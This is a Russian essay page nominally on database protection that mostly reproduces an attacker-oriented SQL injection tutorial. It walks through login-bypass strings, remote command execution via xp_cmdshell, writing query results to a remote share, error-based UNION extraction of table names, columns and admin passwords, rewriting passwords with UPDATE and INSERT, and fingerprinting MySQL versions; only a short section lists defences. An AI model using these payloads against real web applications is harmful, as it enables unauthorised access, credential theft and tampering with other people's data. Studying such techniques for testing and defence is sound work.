Защита баз данных

Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен

Описание работы

В реферате содержится информация о современных методах защиты баз данных.

Файлы: 1 файл

ЯП.docx

— 217.65 Кб (Скачать файл)

       Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей  не может сообщить ничего интересного, и вы знаете, что системный администратор  всегда очень оперативно устанавливает  все заплаты на web-сервер, последним  нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных  заплатах. Это нападение более  направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно  на web-сервер или сервисы в ОС. Эта статья не содержит никаких новых  истин, SQL injection широко описан и повсеместно  используется. Статья больше предназначена  для новичков, но, быть может, и профессионалы  смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные  в конце статьи ссылки для получения  более подробной информации от специалистов в данной области.

       1.1 Что такое SQL Injection?

       SQL Injection - метод, предназначенный для  введения SQL запросов/команд через  web-страницы. Многие web-страницы используют  параметры, представленные Web пользователям,  и делают SQL запрос базы данных. Возьмем для примера случай  с логином пользователя, когда  имеется web-страница c именем и  паролем и производится SQL запрос  в базе данных, для осуществления  проверки, имеется ли зарегистрированный  пользователь с таким именем  и паролем. С использованием SQL Injection можно послать придуманное  имя пользователя и/или поле  пароля, изменяющее SQL запрос, что может  предоставить нам кое-что интересное.

       2.0 Что мы должны искать

       Попробуйте  найти страницы, которые запрашивают  у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы  послать команды другой Web странице. В этом случае вы не увидите параметры  в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:

       <FORM action=Search/search.asp method=post>

       <input type=hidden name=A value=C>

       </FORM>  
Все параметры между и </FORM> потенциально могут быть уязвимы к введению SQL кода.

       2.1 Что если вы не нашли страницу, которая использует ввод?

       Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые  используют параметры, подобно: http://securitylab.ru/?ID=31610  
3.0. Как мне проверить что то, что я нашел, уязвимо?

       Попробуйте  начать с одиночной кавычки. Введите  следующую строку:

       hi' or 1=1—

       в поле имя пользователя или пароль, или даже в URL параметре. Пример:

       Login: hi' or 1=1—

       Pass: hi' or 1=1—

       http://duck/index.asp?id=hi' or 1=1—

       Если  вы делали это со скрытым полем, только загрузите исходный HTML, сохраните  его на жестком диске, измените URL и скрытое поле соответственно. Пример:

       <FORM action=http://duck/Search/search.asp method=post>

       <input type=hidden name=A value="hi' or 1=1-- ">

       </FORM>

       Если  удача на вашей стороне, вы войдете  в систему без имени или  пароля.

       3.1 Но почему ' or 1=1--?

       Давайте рассмотрим другой пример, который  объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также  можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается  на другую страницу со следующим URL:

       http://duck/index.asp?category=food  
В URL, 'category' – это имя переменной, и 'food' – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

       v_cat = request("category")

       sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

       set rs=conn.execute(sqlstr)

       как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать: SELECT * FROM product WHERE PCategory='food' Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом: http://duck/index.asp?category=food' or 1=1--SELECT * FROM product WHERE PCategory='food' or 1=1--‘ Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#". Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте: ' or 'a'='a Теперь SQL запрос станет: SELECT * FROM product WHERE PCategory='food' or 'a'='a'  
Этот запрос возвратит тот же самый результат. В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей: ' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

       4.0 Как можно удаленно выполнять  команды, используя SQL injection?

       Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы  по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд: '; exec master..xp_cmdshell 'ping 10.10.1.2' -- Попробуйте использовать двойные кавычки ("), если (') не срабатывает. Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера: http://securitylab.ru/?ID=31610 Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

       5.0 Как получить результаты моего  SQL запроса?

       Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML: '; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Указываемый IP должен иметь папку "share" с  доступом для Everyone.

       6.0 Как получить данные из базы  данных, используя ODBC сообщение об  ошибках?

       Мы  можем использовать информацию из сообщения  об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:  
 
http://duck/index.asp?id=10  
 
 
 
Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:  
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  
 
Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере. 
 
Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:  
 
 
 
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  
 
 
 
Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:  
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. 
/index.asp, line 5  
 
Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".  
 
Для получения следующего имени таблицы, мы можем использовать следующий запрос:  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--  
 
Мы также можем искать данные, используя ключ LIKE:  
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--  
 
 
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5  
 
Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".  
6.1 Как узнать все имена столбцов в таблице? 
 
Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:  
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'—  
 
 
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. 
/index.asp, line 5  
 
 
 
Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')—  
 
 
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. 
/index.asp, line 5  
 
Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--  
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. 
/index.asp, line 5  
 
 
6.2. Как нам получить нужные нам данные? 
 
Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.  
 
 
 
Давайте получим первый login_name из таблицы "admin_login":  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--  
 
 
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. 
/index.asp, line 5  
 
 
 
Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":  
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--  
 
 
 
Выдаст:  
 
 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. 
/index.asp, line 5  
 
 
 
Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.  
 
 
6.3 Как получить числовое значение строки? 
 
 
 
Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--  
 
 
 
Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.  
 
Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:  
 
 
 
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--  
 
 
 
Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:  
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. 
/index.asp, line 5  
 
 
 
Теперь мы сможем войти в систему как "trinity" с паролем '31173'.  
 
 
7.0 Как модифицировать/вставить данные в базу данных? 
 
После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":  
 
 
 
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--  
 
 
 
Чтобы внести (INSERT) новую запись в базу данных:  
 
 
 
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--  
 
 
 
Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.  
 
 
8.0 Как избежать SQL Injection? 
 
 
 
Фильтруйте специальные символы во всех строках в:  
 
 
 
- любых данных, вводимых пользователем 
- URL параметрах 
- Cookie  
 
Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.  
 
Запускайте SQL сервер как непривилегированный пользователь.  
 
 
 
Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
 
 
 
 
 
 
 
 
 

       В настоящее время можно встретить  большое количество статей, описывающих  эксплуатацию уязвимости SQL инъекцию, в одной из самых распространенных СУБД, MySQL. Практически все эти  статьи подразумевают, что на уязвимом сервере работает четвертая версия сервера MySQL.

       Действительно, в реализации языка SQL в четвертой  версии сервера стало доступным  ключевое слово UNION, его использование  в MySQL инъекции позволит злоумышленнику получить содержание произвольных таблиц. К которым имеет доступ пользователь, из под которого происходит соединение с базой данных.

       Такая ситуация привела к мнению, что  в MySQL 3 SQL инъекция в принципе не может  ничем грозить.

       Даже  некоторыми хакерами считается что, если на сервере используется СУБД MySQL третей версии, то это случай безнадежный. Однако, у меня есть свое мнение на этот счет, и я хочу показать, что в  некоторых ситуациях данный вопрос имеет свой ответ.

       Хотя  в настоящее время MySQL третей версии можно встретить все реже и  реже, все же вследствие немалой  популярности этой СУБД, третья версия все еще установлена на очень  большом количестве сервером. В некоторых  случаях просто никто не хочет  обновить систему, в некоторых считают, что так безопаснее, в некоторых  следить за сервером просто некому. Ситуации бывают разные, а MySQL 3 остается.

       Три или четыре

       И так, обнаружен факт SQL инъекции. Как  определить что это действительно, MySQL, и определить версию MySQL сервера.

       Допустим, инъекция имеет место в запросе, типа http://localhost/test.php?id=1, в параметре id. Если страница выводит некоторое  содержание, соответствующее введенному идентификатору, то можно предположить, что имеет место инъекция после where запроса. Мы считаем, что факт наличия SQL инъекции в нашем случае выявлен  любыми средствами, о которых описано  в настоящее время немало, и  действительно имеет место.

       Допустим, нападающий заметил, что он может  внедрять булевы конструкции в запрос, и они явно влияют на результат  запроса. Так, например http://localhost/test.php?id=1+AND+0, выведет страницу без содержания, а http://localhost/test.php?id=1+AND+1, выведет страницу, аналогичную странице с переданным параметром id=1.

       Имя этот факт, уде можно составить  серию запросов к серверу с  целью подтвердить (или опровергнуть) предположение, что это СУБД MySQL, и, случае, если это действительно MySQL, выявить версию сервера.

       И для того и для другого можно  использовать особенность реализации SQL в MySQL. А именно, содержание специальных  скобок вида /*!NNNNN … */ будет выполнено  обычным образом, в MySQL тогда и  только тогда, когда полная версия сервера (записанная подряд, без точек, с  ведущими нолями в подверсиях), больше или равна чем NNNNN. В противном  случае эта запись будет воспринята как комментарий.

       Одновременно, в реализации языка SQL в большинстве  современных СУБД, это запись будет  воспринята как комментарий в  любом случае.

       Учитывая, что, в любом случае, записанная таким  образом версия mySQl сервера будет  больше, чем 00000, то запись /*!00000 Any_SQL_commands */ будет эквивалента Any_SQL_commands, в  любом запросе в MySQL. Одновременно, эта запись будет эквивалента  комментарию в любых других СУБД.

       Таким образом, можно однозначно определить MySQL, в нашем примере, сделав следующий  запрос: http://localhost/test.php?id=1+/*!00000+AND+0+*/.

       Вывод пустой страницы (эквивалент запроса http://localhost/test.php?id=1+AND+0), будет однозначно свидетельствовать  о том, что имеет место взаимодействие действительно с СУБД MySQL. В противном  случае, это, скорее всего не MySQL. Следует  учесть, что все это верно только в идеальной ситуации – отсутствие фильтрации и т.п., что однако, не редкость.

       Используя этот прием, можно однозначно определит, имеет СУБД MySQL в нашем случае версию 3.x или 4.x. Достаточно сделать  следующий запрос: http://localhost/test.php?id=1+/*!40000+AND+0+*/. Этот запрос вернет пустую страницу (в  нашем примере), тогда и только тогда, когда версия MySQL сервера 4.x.

       Пользуясь дихотомическим поиском, нетрудно определить и точную версию MySQL сервера. Для  этого, достаточно будет составить  следующую серию запросов:

       http://localhost/test.php?id=1+/*!40000+AND+0+*/

       http://localhost/test.php?id=1+/*!41000+AND+0+*/

       http://localhost/test.php?id=1+/*!40500+AND+0+*/

       http://localhost/test.php?id=1+/*!40300+AND+0+*/

       http://localhost/test.php?id=1+/*!40400+AND+0+*/

       

       http://localhost/test.php?id=1+/*!40311+AND+0+*/

       http://localhost/test.php?id=1+/*!40312+AND+0+*/

       В случае, если предпоследний запрос вернул пустую страницу, о последний  вернул страницу, аналогичную http://localhost/test.php?id=1, то можно однозначно судить, что MySQL сервер имеет версию 4.3.12

Информация о работе Защита баз данных